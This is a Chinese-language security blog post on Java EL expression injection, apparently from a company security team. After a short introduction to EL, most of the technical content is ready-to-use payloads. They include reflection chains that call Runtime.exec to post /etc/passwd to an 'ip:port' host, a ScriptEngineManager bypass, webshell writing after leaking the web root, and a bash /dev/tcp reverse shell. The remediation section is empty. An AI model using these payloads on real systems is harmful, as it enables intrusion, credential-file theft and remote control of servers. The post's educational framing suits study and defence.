专属于java的漏洞——EL表达式注入
前言
“FSRC经验分享”系列文章,旨在分享焦点科技信息安全部工作过程中的经验总结,包括但不限于漏洞分析、运营技巧、sdl推行、等保合规、自研工具等等。
欢迎各位安全从业者持续关注~
0x01EL简介
表达式语言(Expression Language 以下简称EL)是以JSTL(JavaServer Pages Standard Tag Library,JSP标准标签库)的一部分出现的,原本被叫做SPEL(Simplest Possible Expression Language,简单的表达式语言),后来被称作EL(Expression Language,表达式语言)。它是一种脚本语言,允许通过JSP访问Java组件(JavaBeans)。自JSP 2.0以来,表达式语言已经被内置到JSP标签中,用于从JSP中分离Java代码,并允许(比用Java代码)更方便访问Java组件。
Java中有多种表达式语言,比如:JSTL_EL为JSP自带的表达式,适用于所有的Java Web,SpEL为Spring框架的EL表达式,只在Spring框架中可用 ,还有Struts2的OGNL。
JSTL_EL,为传统EL,通常简称为EL,这种表达式是JSP语言自带的表达式,也就是说所有的Java Web服务都必然会支持这种表达式。但是由于各家对其实现的不同,也导致某些漏洞可以在一些Java Web服务中成功利用,而在有的服务中则是无法利用。典型漏洞如CVE-2011-2730
SpEL:JAVA Spring框架特有表达式,是一个支持查询和操作运行时对象导航图功能的强大的表达式语言. 它的语法类似于传统EL,但提供额外的功能,最出色的就是函数调用和简单字符串的模板函数。
0x02EL表达式的功能
EL主要的语法结构为:${ 表达式 } 。其主要功能如下:
获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组)
执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据
调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法
0x03漏洞常见PoC
//执行两个数相加,xray的payload
${889972849%2b988839806}
//执行replace函数,页面中应该出现bbb
${"aaa".replace('a','b')}
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//文件头参数
${header}
//访问application作用域内部,可以获取到应用的各种属性,可获取webRoot
${applicationScope}
执行读取文件命令
由于EL表达式中不能使用new操作符直接构建对象,也不能直接访问到java的类文件,所以这里要使用反射
首先获取java.lang.Runtime中的静态方法getRuntime的Method对象,然后通过invoke方法获取一个Runtime对象,接着就可以直接调用exec方法执行命令
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget+--post-file=/etc/passwd+http://ip:port",null,null).toString()}
如果开发人员做了安全防护措施,比如禁用了invoke方法,无法直接反射,则需要先反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎,再执行java.lang.Runtime exec
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('wget+--post-file=/etc/passwd+http://ip:port')")}
获取shell方式
(1)先获取webRoot路径,再写入jsp文件
以【WooYun-2016-195845】为例,先确认使用EL表达式
https://auth.p4p.xxxx.com/login?service=${1000-900}
获取WebROOT
https://auth.p4p.xxxx.com/login?service=${applicationScope}
javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,
org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext
然后就用命令向这个目录,写入jsp即可
(2)直接反弹shell
?method=gotoViewPage&type=${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -i >& /dev/tcp/ip/port 0>&1",null).getInputStream())}
exec("")可替换其他获取shell的命令
ip/port 替换为自己服务器的ip
P.S:
对于java exec 本身不支持管道符、重定向符,执行命令可能不成功,可尝试编码后再执行
http://www.jackson-t.ca/runtime-exec-payloads.html
0x04漏洞修复方案
0x05免责声明
本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。
0x06参考资料
浅析EL表达式注入漏洞(by CanMeng)
https://www.jianshu.com/p/3a478d43a3db
Spring框架标签EL表达式执行漏洞分析(CVE-2011-2730)(by mi1k7ea)
https://xz.aliyun.com/t/7692#toc-0
表达式注入(by misakikata)
https://misakikata.github.io/2018/09/表达式注入/#EL表达式注入
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 习近平主席的澳门之行 7907729
- 2 随手拍的照片竟然成了泄密源头 7958531
- 3 用8000块半年赚了130万 7803492
- 4 祖国的掌上明珠 引以为“澳” 7746082
- 5 42岁车晓独居近况曝光 7660688
- 6 考研英语 好难 7504936
- 7 夫妻玩闹致妻子黄体破裂 7449404
- 8 凶手的样子开播 7333653
- 9 大学老师卖鱼丸 一年大赚14亿 7243028
- 10 以旧换新政策促进消费持续回暖 7178733